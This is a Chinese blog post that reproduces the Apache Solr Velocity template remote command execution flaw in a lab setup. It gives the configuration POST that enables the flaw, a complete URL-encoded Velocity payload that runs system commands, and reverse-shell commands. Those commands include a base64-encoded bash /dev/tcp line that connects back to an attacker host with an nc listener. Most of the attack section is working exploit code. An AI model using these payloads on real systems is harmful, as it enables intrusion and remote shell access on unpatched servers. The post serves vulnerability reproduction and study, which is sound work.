Solr Velocity模板远程命令执行漏洞+反弹shell
这个漏洞出来好几天了一直没有时间进行复现
环境搭建
首先下载源码1
wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.tgz
解压之后进入bin目录下,运行1
./solr create_core -c alice -d ../example/example-DIH/solr/db -force
这里是新建了一个alice的core,然后启用环境1
./solr start -force
默认端口是8983,我们访问这个地址,然后在core admin中找到了alice
每一个我们新建的core都有配置信息
这里我们要修改一下配置,我们要将params.resource.loader.enabled这个参数设置为true,默认为false,才能触发漏洞,post提交下面的内容1
2
3
4
5
6
7
8
9
10{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir":"",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
返回200,说明修改成功
漏洞环境就搭建到这里啦
漏洞复现
payload:1
http://192.168.43.128:8983/solr/alice/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
这样就可以执行命令了,github上也有很多利用的脚本
反弹shell
这里好像和之前泛微oa的命令执行是一样的,利用了getRuntime().exec()这个函数来执行命令,但是这个函数有一些特性,可以看下面的文章和内容
https://mp.weixin.qq.com/s/ZS-hA03ykKleDjgN8oWZDw
所以我们直接执行命令的时候不能使用:1
bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1"
而是要利用base64编码:1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i}
这里我们来实验一下:
目标机器:192.168.43.128
攻击机器:192.168.43.1
首先在攻击机器上设置nc监听端口
然后将我们反弹shell的bash命令进行base64编码:
然后进行一次url编码
构造后的payload:1
%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEvMTEyMzMgMD4mMQ%3d%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%27
这样我们就能反弹shell了
脚本就不写咯
:)
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:Solr Velocity模板远程命令执行漏洞+反弹shell
本文作者:sher10ck
发布时间:2019-11-04, 15:15:33
最后更新:2020-01-13, 12:49:36
原始链接:http://sherlocz.github.io/2019/11/04/Solr-Velocity模板远程命令执行漏洞/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。